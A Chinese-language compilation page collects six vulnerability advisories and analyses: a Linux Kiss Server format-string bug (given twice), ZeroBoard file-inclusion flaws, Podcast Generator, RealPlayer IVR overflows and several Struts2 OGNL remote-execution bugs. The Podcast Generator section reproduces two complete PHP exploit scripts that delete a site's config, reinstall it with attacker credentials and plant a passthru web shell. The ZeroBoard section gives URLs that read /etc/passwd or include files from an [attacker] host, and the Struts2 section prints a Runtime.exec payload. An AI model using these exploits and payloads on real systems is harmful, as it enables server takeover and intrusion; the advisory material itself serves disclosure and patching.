Linux Kiss Server lks.c文件多个格式串处理漏洞(精选6篇)由网友“马猴烧酒悠咖子”投稿提供,下面是小编为大家整理后的Linux Kiss Server lks.c文件多个格式串处理漏洞,欢迎大家借鉴与参考,希望对大家有所帮助。
篇1:Linux Kiss Server lks.c文件多个格式串处理漏洞
受影响系统: Tomas Brandysky Linux Kiss Server 1.2 描述: Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行, 以前台模式运行的Linux Kiss Server的lks.c文件中的log_message函数存在格式串处理漏洞,允许攻击者获得
受影响系统:Tomas Brandysky Linux Kiss Server 1.2 描述:
Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行。 以前台模式运行的Linux Kiss Server的lks.c文件中的log_message()函数存在格式串处理漏洞,允许攻击者获得非授权访问。 以下为漏洞代码: Function log_message():
if(background_mode == 0)
{
if(type == ’l’)
fprintf(stdout,log_msg); if(type == ’e’)
fprintf(stderr,log_msg);
free(log_msg);
}
Function kiss_parse_cmd():
/* check full command name */
if (strncmp(cmd, buf, cmd_len))
{
asprintf(&log_msg,“unknow command: `%s’”, buf);
log_message(log_msg,’e’);
goto error;
}
buf = cmd_len; 因此如果在buf输入类似于%n%n%n的字符串的话,就可以触发这个漏洞,
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: freshmeat.net/projects/lks/
篇2:Linux Kiss Server多个格式串处理漏洞
受影响系统:Tomas Brandysky Linux Kiss Server 1.2描述:--------------------------------------------------------------------------------BUGTRAQ ID: 28099Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行,
受影响系统:Tomas Brandysky Linux Kiss Server 1.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 28099
Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行。
以前台模式运行的Linux Kiss Server的lks.c文件中的log_message()函数存在格式串处理漏洞,允许攻击者获得非授权访问。
以下为漏洞代码:
Function log_message():
if(background_mode == 0)
{
if(type == 'l')
fprintf(stdout,log_msg);
if(type == 'e')
fprintf(stderr,log_msg);
free(log_msg);
}
Function kiss_parse_cmd():
/* check full command name */
if (strncmp(cmd, buf, cmd_len))
{
asprintf(&log_msg,“unknow command: `%s'”, buf);
log_message(log_msg,'e');
goto error;
}
buf = cmd_len;
因此如果在buf输入类似于%n%n%n的字符串的话,就可以触发这个漏洞,
<*来源:Vashnukad (vashnukad@vashnukad.com)
链接:secunia.com/advisories/29219/
lists.grok.org.uk/pipermail/full-disclosure/-March/060550.html
*>
建议:
--------------------------------------------------------------------------------
厂商补丁:
Tomas Brandysky
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
freshmeat.net/projects/lks/
篇3:ZeroBoard多个漏洞
本文作者: 剑心[B.C.]
发布日期:.1.13
漏洞概述:
ZeroBoard是一款在Korea使用广泛的用于web论坛程序,最近在ZeroBoard中发现了多个漏洞,这些漏洞允许一些服务器上敏感信息被泄露,或者导致任意的Php脚本文件被包含并且执行。
漏洞发现:由SSR小组提供漏洞信息。
漏洞细节:
1)文件泄露漏洞
利用这个漏洞需要的系统环境:
Php.ini中以下内容必须这样设置:magic_quotes_gpc = off(注意:outlogin.php只有在Php 5.x下运行时才存在漏洞。)
漏洞描述:
当magic_quotes_gpc设置为off时,Php将丢弃含有NULL空字符的输入变量。
可以在_head.php中找到以下的漏洞代码:
if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“”;
include $_zb_path.“lib.php”;}
也可以在include/write.php中发现以下的漏洞代码:
if(eregi(“:\/\/”,$dir)) $dir=“.”;
include $dir.“/write.php”;
还有outlogin.php中的漏洞代码:
if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“./”;
[snip]
@include $_zb_path.“_head.php”;
漏洞证明:
以下的任何一个URL将触发这个漏洞。
[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
[victim]/include/write.php?dir=../../../../../etc/passwd%00
[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00
2)Php原代码注射漏洞
所需的系统环境:
Php.ini中以下内容必须这样设置:: register_globals = On and/or allow_url_fopen = On.
漏洞描述:
在print_category.php中使用的$dir变量没有初始化,于是允许远程攻击者包含任意处于其他服务器上的文件,
漏洞证明:
以下的任何一个URL将触发这个漏洞。
[victim]/include/print_category.php?setup[use_category]=1&dir=[attacker]/
[victim]/skin/zero_vote/login.php? dir=[attacker]/
[victim]/skin/zero_vote/setup.php? dir=[attacker]/
[victim]/skin/zero_vote/ask_password.php? dir=[attacker]/
[victim]/skin/zero_vote/error.php? dir=[attacker]/
在include/print_category.php中发现的漏洞代码:
在skin/zero_vote/login.php, skin/zero_vote/setup.php与/zero_vote/setup.php中发现的漏洞代码:
非正式补丁:
在没有官方正式补丁的情况下我们建议你按照以下建议修改原文件:
ZeroBoard 版本4.1pl5
修改_head.php的13行如下:
if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“”;
修改include/write.php的16行如下:
if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;
修改outlogin.php的50行如下:
if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“./”;
将以下的代码插入到include/print_category.php的第3行:
if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;
修改skin/zero_vote/login.php的第1行,skin/zero_vote/setup.php的42行,skin/zero_vote/ask_password.php的第1行,skin/zero_vote/error.php的第1行如下:
“$dir/value.php3”; ?>
篇4:Podcast Generator多个模块文件包含和任意文件删除漏洞
影响版本:
Podcast Generator 1.2
程序介绍:
Podcast Generator是用PHP编写的免费播客发布脚本,
漏洞分析:
Podcast Generator的core/archive_cat.php、core/admin/itunescategories.php和core /admin/login.php页面没有正确地过滤对GLOBALS[absoluteurl]参数所传送的输入,core/themes.php页面没有正确地过滤对GLOBALS[theme_path]参数所传送的输入,这可能用于包含本地或外部资源的任意文件;此外core/admin /delete.php页面没有正确地过滤对file和ext“参数所传送的输入,可能导致删除任意文件。成功利用这些漏洞要求打开了 register_globals。
漏洞利用:
#
# Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
#
# by staker
# --------------------------------------
# mail: staker[at]hotmail[dot]it
# url: podcastgen.sourceforge.net
# --------------------------------------
#
# it works with register_globals=on
#
# short explanation:
#
# ----------------------------------------
# Podcast Generator contains one flaw that
# allows an attacker to re-install the cms
# because of unlink in'delete.php'file
# ----------------------------------------
# Look at'/core/admin/delete.php'
# (removed author's comments)
/*
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path']))
{ exit; } <-------- {1}
if ($amilogged != ”true“) { exit; } <-------{2}
if (isset($_GET['file']) AND $_GET['file']!=NULL) {
$file = $_GET['file'];
$ext = $_GET['ext'];
if (file_exists(”$absoluteurl$upload_dir$file.$ext“)) {
unlink (”$upload_dir$file.$ext“); <--------{3}
$PG_mainbody .=”
$file.$ext$L_deleted
“;
}
*/
#
# Explanation (code snippet above [points])
# -----------------------------------------------------------------------------------
# 1. blocks all'amilogged'REQUEST variables,what about GLOBALS?,therefore useless!
# 2.if'amilogged'isn't true ->exit()functionactivated.
# 3. unlink()deletean existing file.
# -----------------------------------------------------------------------------------
#
# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'
# set to true. We candoit using a GLOBALS variable.
#
# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php
#
# Various:
# --------------------------------------------------
# They didn't help me but i want to give a thanks to
# girex,skerno,Chaomel,XaDoS,Dante90andGianluka_95
# --------------------------------------------------
# Today is: 02 June .
# Location: Italy,Turin.
# www. .com/watch?v=dBc7mK5iAH0
# --------------------------------------------------
error_reporting(E_STRICT ^ E_WARNING);
if($argc< 2) start_usage();
$host=$argv[1];
$path=$argv[2];
re_install();
functionsend_request($data)
{
global$host;
if(!$sock= @fsockopen($host,80)) {
die(”connection refused..\n“);
}
if(isset($data)) {
fputs($sock,$data);
}
while(!feof($sock)) {$result.=fgets($sock); }
fclose($sock);
return$result;
}
functionremove_config()
{
global$host,$path;
$in_lex=”/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php“;
$config=”GET {$in_lex} HTTP/1.1\r\n“;
$config.=”User-Agent: Lynx (textmode)\r\n“;
$config.=”Host: {$host}\r\n“;
$config.=”Connection: close\r\n\r\n“;
$lol= send_request($config);
if(check_config() != FALSE) {
die(”register_globals=off, exploit failed!\n“);
}
else{
returntrue;
}
}
functionre_install()
{
global$host,$path;
$binary=”username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en“;
$config=”POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n“;
$config.=”User-Agent: Lynx (textmode)\r\n“;
$config.=”Host: {$host}\r\n“;
$config.=”Content-Type: application/x-www-form-urlencoded\r\n“;
$config.=”Content-Length: “.strlen($binary).”\r\n“;
$config.=”Connection: close\r\n\r\n“;
$config.=$binary;
remove_config();
$content= send_request($config);
if(eregi('Creation of the configuration file',$content)) {
echo”[ re-installed successful\n“;
echo”[ username: staker\n[ password: killingyourself\n“;exit(0);
}
else{
die(”Exploit failed\n“);
}
}
functioncheck_config()
{
global$host,$path;
$config=”GET /{$path}/config.php HTTP/1.1\r\n“;
$config.=”User-Agent: Lynx (textmode)\r\n“;
$config.=”Host: {$host}\r\n“;
$config.=”Connection: close\r\n\r\n“;
$content= send_request($config);
if(ereg('HTTP/1.1 404 Not Found',$content)) {
returnfalse;
}
else{
returntrue;
}
}
functionstart_usage()
{
print”[*--------------------------------------------------------------------------*]\n“.
”[* Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit *]\n“.
”[*--------------------------------------------------------------------------*]\n“.
”[* Usage: php podcast_xpl.php [host] [path] *]\n“.
”[* [host] host -> example: localhost *]\n“.
”[* [path] path -> example: /podcast *]\n“.
”[*--------------------------------------------------------------------------*]\n“;
die();
}
#!/usr/bin/php -q -d short_open_tag=on
echo”
Podcast Generator <= 1.1 Remote Code Execution
Vendor: podcastgen.sourceforge.net
Exploit Author: BlackHawk
Author's Site: itablackhawk.altervista.org
Credits goes to RGodforthe code
Thanks to Marija justforexist :)
“;
if($argc<4) {
echo”
Usage: php“.$argv[0].”host /path/ command
Es: php“.$argv[0].”localhost / dir
“;
die;
}
/*
Bugs explanation:
This app has tons of bugs, but because of his structure lot of them are useless.. but not them all!
Look at 'core/admin/delete.php' (i have omitted the author comments):
---------------------------
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; }
if (isset($_GET['file']) AND $_GET['file']!=NULL) {
$file = $_GET['file'];
$ext = $_GET['ext'];
if (file_exists(”$absoluteurl$upload_dir$file.$ext“)) {
unlink (”$upload_dir$file.$ext“);
$PG_mainbody .=”
$file.$ext$L_deleted
“;
}
---------------------------
no check for admin rights, so now we can delete whatever file we want, with any exstension..
so let's delete config.php and make a rfesh new installation with a password set by us!
the RCE is triggered in 'core/admin/scriptconfig.php', line 56:
---------------------------
// recent in home
$recent = $_POST['recent'];
if ($recent != ”“) {
$max_recent = $recent;
}
---------------------------
no sanitize of the input and no quotes added when writting to the config file (so no need mq=off)
BlackHawk */ error_reporting(0); ini_set(”max_execution_time“,0); ini_set(”default_socket_timeout“,5); functionquick_dump($string) { $result='';$exa='';$cont=0; for($i=0;$i<=strlen($string)-1;$i++) { if((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=” .“;} else {$result.=” “.$string[$i];} if(strlen(dechex(ord($string[$i])))==2) {$exa.=” “.dechex(ord($string[$i]));} else {$exa.=” 0“.dechex(ord($string[$i]));} $cont++;if($cont==15) {$cont=0;$result.=”\r\n“;$exa.=”\r\n“;} } return$exa.”\r\n“.$result; } $proxy_regex='(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; functionsendpacketii($packet) { global$proxy,$host,$port,$html,$proxy_regex; if($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if(!$ock) { echo'No response from '.$host.':'.$port;die; } } else{ $c= preg_match($proxy_regex,$proxy); if(!$c) { echo'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo”Connecting to “.$parts[0].”:“.$parts[1].” proxy...\r\n“; $ock=fsockopen($parts[0],$parts[1]); if(!$ock) { echo'No response from proxy...';die; } } fputs($ock,$packet); if($proxy=='') { $html=''; while(!feof($ock)) { $html.=fgets($ock); } } else{ $html=''; while((!feof($ock))or(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $cmd=”“; for($i=3;$i<=$argc-1;$i++){ $cmd.=” “.$argv[$i]; } $port=80; $proxy=”“; if(($path[0]'/')or($path[strlen($path)-1]'/')) {echo'Error... check the path!';die;} if($proxy=='') {$p=$path;}else{$p=''.$host.':'.$port.$path;} echo”Step1 - Delete config.inc\r\n“; $packet=”GET “.$p.”core/admin/delete.php?file=../../config&ext=php HTTP/1.0\r\n“; $packet.=”Host: “.$host.”\r\n“; $packet.=”Connection: Close\r\n\r\n“; sendpacketii($packet); echo”Step2 - Creating new configuration\r\n“; $data=”username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en“; $packet=”POST “.$p.”/setup/index.php?step=5 HTTP/1.0\r\n“; $packet.=”Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n“; $packet.=”Accept-Language: it\r\n“; $packet.=”Content-Type: application/x-www-form-urlencoded\r\n“; $packet.=”Accept-Encoding: gzip, deflate\r\n“; $packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n“; $packet.=”Host: “.$host.”\r\n“; $packet.=”Content-Length: “.strlen($data).”\r\n“; $packet.=”Connection: Close\r\n“; $packet.=”Cache-Control: no-cache\r\n\r\n“; $packet.=$data; sendpacketii($packet); echo”Step3 - Logging in\r\n“; $data=”user=new_user_name&password=blackhawk“; $packet=”POST “.$p.”?p=admin HTTP/1.0\r\n“; $packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n“; $packet.=”Accept-Language: it\r\n“; $packet.=”Content-Type: application/x-www-form-urlencoded\r\n“; $packet.=”Accept-Encoding: gzip, deflate\r\n“; $packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n“; $packet.=”Host: “.$host.”\r\n“; $packet.=”Content-Length: “.strlen($data).”\r\n“; $packet.=”Connection: Close\r\n“; $packet.=”Cache-Control: no-cache\r\n\r\n“; $packet.=$data; sendpacketii($packet); $temp=explode(”Set-Cookie: “,$html); $temp2=explode(” “,$temp[1]); $PHPid=$temp2[0]; echo”Step4 - Sending shell\r\n“; $data=”streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en“; $packet=”POST “.$p.”?do=config&p=admin&action=change HTTP/1.0\r\n“; $packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n“; $packet.=”Accept-Language: it\r\n“; $packet.=”Content-Type: application/x-www-form-urlencoded\r\n“; $packet.=”Accept-Encoding: gzip, deflate\r\n“; $packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n“; $packet.=”Host: “.$host.”\r\n“; $packet.=”Cookie: $PHPid\r\n“; $packet.=”Content-Length: “.strlen($data).”\r\n“; $packet.=”Connection: Close\r\n“; $packet.=”Cache-Control: no-cache\r\n\r\n“; $packet.=$data; sendpacketii($packet); echo”Step5 - Executing Command\r\n\r\n“; $packet=”GET “.$p.”config.php?cmd=dir HTTP/1.0\r\n“; $packet.=”Host: “.$host.”\r\n“; $packet.=”Connection: Close\r\n\r\n“; $packet.=$data; sendpacketii($packet); if(strstr($html,”666999“)) { echo”Exploit succeeded...\r\n“; $temp=explode(”666999“,$html); die(”\r\n“.$temp[1].”\r\n“); } ?>
解决方案:
厂商补丁:
Alberto Betella
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
podcastgen.sourceforge.net/download.php?lang=en
信息来源:
<*来源:BlackHawk
链接:secunia.com/advisories/35333/
milw0rm.com/exploits/8860
*>
篇5:RealPlayer IVR文件解析多个代码执行漏洞
RealPlayer11的IVR文件处理例程中存在多个安全漏洞,如果攻击者更改了IVR文件中用于确定结构长度的字段的话,就可以触发堆溢出;如果在IVR文件中设置了超长的文件名长度值的话,就会向任意内存地址写入一个空字节。
受影响系统:
Real Networks RealPlayer 11
描述:
BUGTRAQ ID: 33652
CVE(CAN) ID: CVE-2009-0375,CVE-2009-0376
RealPlayer是一款流行的多媒体播放器,
RealPlayer11的IVR文件处理例程中存在多个安全漏洞。如果攻击者更改了IVR文件中用于确定结构长度的字段的话,就可以触发堆溢出;如果在IVR文件中设置了超长的文件名长度值的话,就会向任意内存地址写入一个空字节。
该漏洞存在于一个可用作Windows资源管理器shell插件的DLL上,因此不需要用户打开恶意媒体文件就可以触发上述漏洞。只要用户通过资源管理器预览了IVR文件,就可能导致执行任意代码。
厂商补丁:
目前Real Networks还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.real.com
篇6:Struts2多个漏洞简要分析
1月份,SEC Cousult发布了一篇关于struts2漏洞的文章,写到4个struts2的最新漏洞,一个漏洞可以做远程代码执行,一个漏洞引出了新的远程代码执行,一个漏洞曾经我在blog上发布过(没有投CVE),以及一个之前也曾看到过,但是认为是鸡肋的漏洞。
这篇文章题目叫做
《Multiple critical vulnerabilities in Apache Struts2》
四个漏洞,本文一个一个的讲一讲它们的前世今生。
Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
新的远程代码执行漏洞,已经分析过它的利用和分析文章,具体地址在
/Article/201201/116282.html
这里就不再多讲,我猜想或许就是因为这个漏洞被人爆了出来,才引出了老外发的这篇文章。
Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
COOKIE 的远程代码执行,这看起来表面上很嚣张的样子,但其实较少用到,至少默认是不用的,必须要开发人员手工配置某个action才可以攻击,注意是一个单独的action,不懂这个的可以理解为URL。攻击者可能不知道是具体哪个action启用了这个配置,这会导致增加了漏洞发现的难度。也许攻击者要扫描所有的action,才能碰巧遇到一个做这样配置的地方。根据作者的经验,也许攻击者要扫描很多STRUTS2应用,才能遇到一个用到这个技术的应用。
下面的代码是示例:
可以看到,这是一个只针对testCookie这个action的配置。
由于CookieInterceptor在处理cookiesName时,会遍历cookiesMap,把cookie中的每个key和value做如下:
stack.setValue(cookieName, cookieValue);
这样的OGNL赋值处理。可以看到,cookiename将会作为一个ognl表达式执行。cookiename刚好是用户提交来的,所以触发了漏洞。通常应用程序都会指定一个cookiename,只接受指定cookiename,这样做是不存在漏洞的。但是如果真的有开发,把它配置为“*”号,这样就允许接受所有的cookiename,也就存在漏洞了。
除此之外,一个不可忽视的限制,是tomcat等服务器是默认不允许很多非主流符号,这导致这种攻击,在tomcat服务器下,无法进行,这个问题暂时没有发现绕过的方式。
相关代码如下,给各位喜欢bypass的同学做参考:
//以下为cookieName中不允许的字符
public static final char SEPARATORS[] = { '\t', ' ', '\”', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' };
总之很少用到,意味着很鸡肋,不是我们想象中的,只要有COOKIE就默认处理。即使开发人员需要处理cookie,也不见得会使用这个东西,在以往所接触到的项目中,从来没有见过这种配置方法。
还有更有趣的地方,这肯定是个彩蛋,struts给出的官方修补方案,居然犯了一个错误。首先看看官方公告:
struts.apache.org/2.x/docs/s2-008.html
特意抓个图证明。
解决方案是这样讲的:
Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the ParameterInterceptor and CookieInterceptor:
acceptedParamNames = “[a-zA-Z0-9\.][()_']+”;
修补这个漏洞只需要在CookieInterceptor这个 代码中,加入一个白名单列表,注意这个列表中,是有“小括号”符号的(小括号的作用,可以见本文下一个小节)。还好struts在真正实现的代码中,并没有这样做,而是把小括号也去掉了,否则这又是一个bypass,后面的内容会详细讲解有没有小括号的区别。
Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)
这个漏洞,讲的是因为没有过滤小括号而导致的问题,其实我的blog比他先爆出来,只是在利用方式上,并没有想到使用
java.io.FileWriter
去写个空的文件出来,覆盖原本的文件内容。
我的blog曾经发的一篇,目的是DOS攻击,结合java一些版本的漏洞,new出来一个浮点型的变量,具体漏洞细节见以下文章。
《Struts 2.2.3 DOS漏洞》
当时没有报告CVE,所以大家可能不知道。当然,我承认他们利用的比我精彩。
这个漏洞的精彩点,其实并不在谁先发现的,也不在于谁利用的更好,重点是这个团队在使用这个漏洞时,发出来一个OGNL语法小技巧。这个小小的技巧,刚好让一个大牛看到了,于是引出了一个不亚于当年秒杀所有struts框架的漏洞。
我相信,很多人都和我一样,垂首顿足的在讲:“擦!我怎么没想到”,当然,他们可能说的是英文版。
这个技巧先不讲,也就是小括号的事情,等下一个漏洞再讲,
Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
看到这个漏洞,我真的无语了,老外这是鸡肋的超神了。一点实用价值都没有的漏洞,事实上,我在看代码时,一看到struts代码中出现:
If (devMode) XXXXX
就自觉跳过了。
原因是我认为没有人会傻到把debug默认开到公网上去,而struts官方也鄙视了一下这个漏洞:
While not being a security vulnerability itself……balabala…
开启debug模式,意味着速度超级慢,意味着大批的无意义的log文件输出。所以,这个漏洞没什么可讲的,已经鸡肋到基本上你不会见到了。
它的具体成因,是当一个开发人员实在笨到啥都要问元芳的地步,以至于在线上开启debug模式后,struts2会有一个专门的 ,用于处理特殊的参数,当这个 接收ognl命令时,可以直接执行,方便开发人员做调试。确切的说,这并不是漏洞,而是struts2专门给开发人员的调试模式。
从 技术的角度上讲,总会有开发人员这么做,所以不该放过,POC大家可以留着,好消息是官方不准备出补丁,只是轻轻的鄙视了一下这么做的开发人员。
CVE-2011-3923: Yet another Struts2 Remote Code Execution
前文两次提到这个漏洞,这是最新的BYPASS,这个漏洞的发布者看到了上文所述的“Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)”漏洞的利用技巧,突然来了灵感,才有了这篇bypass。这个老外真的很实诚,发现漏洞,立刻就爆出来了,都没有在手里捂热了。
原文地址在
blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html
bypass的原理是利用了ognl的执行顺序。
假设有ognl语句如下:
(表达式1)(表达式2)
这样的语句,ognl会首先执行“表达式1”,假设得出结果为“12345”,后续流程,会把“12345”作为一个表达式再次执行。
看看这次新给出的exp
/myaction?foo=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(foo)('meh')]=true
有很多人看不懂这个POC,就来问过我,为什么这样的都没有拦截?struts2不是已经做了拦截么?
我的回答是,请大家看清楚了,以前的拦截是针对参数名称的,而这个POC的参数名称有“#”号么?答案是木有。
根据原理,我们可以首先定义表达式1的值,是一个ognl表达式,就像exp中的第一个字段:
foo=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)
这是一个很正常的get参数赋值。就像username=kxlzx一样正常。
在早期的远程代码执行漏洞修补中,会判断参数名称是否安全,而这里的参数名称叫做“foo”,这当然是安全的。
Exp的第二个字段:
&z[(foo)('meh')]=true
这里写的非常复杂,其实还是那个原理,foo在第一个字段中,已经被赋值了,这里直接使用foo的值,作为新的表达式,再次执行掉了。
对于这个exp,只有一个要求,就是exp对应的myaction中,必须有定义一个string类型的字段:
private String foo;
public void setFoo(String foo) {
this.foo = foo;
}
public String getFoo() {
return foo;
}
只要这是个string类型的字段就可以的,也许并不叫foo,叫做username等,总之必须是string类型的一个字段。要找到这样的一个action非常容易,必须用户注册啊,用户登录啊,必然会有的。
如果找到了叫做username的字段,这个exp就要变为:
/myaction?username=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(username)('meh')]=true
既然说到这里,就不得不插一句,这篇文章,其实是我在很久之前,老外刚发出来没多久就写成的,但是很遗憾,直到我去xcon2012演讲都没有发出来。而我在xcon2012演讲的内容,刚好就包括了这个限制的绕过,所以强烈推荐大家可以去看看那篇文章。
《Xcon2012 攻击JAVA WEB议题下载》
从效果来看,这个漏洞已经无限接近了2010年爆出的那个漏洞了,并且这个漏洞,不像以前的那个因为出了利用工具,所以在国内炒的很厉害,这个知道的人,可能不多呢。
Wooyun上那些曾经发生过struts2漏洞的网站,现在打了补丁,但是真的是最新的么?打了补丁之后,有再次更新么?
有朋友讲过一句话,struts就是一个筛子,我表示认可。
★ 网络入侵检测方法
★ 邮件群发范文
【Linux Kiss Server lks.c文件多个格式串处理漏洞(精选6篇)】相关文章:
php 面试题2022-06-12
网络安全防护方案2022-12-18
教你手工清除安哥变种2023-01-05
WIN技巧:ExchangeOutlookWebAccess疑难解答2022-08-16
英语发邮件的格式范文2023-05-31
java面试题及答案2023-12-27
英文发邮件的格式范文2022-06-03
手机报告2023-06-13
辞职报告可以发邮件吗2023-04-11
seo面试题与答案2023-02-15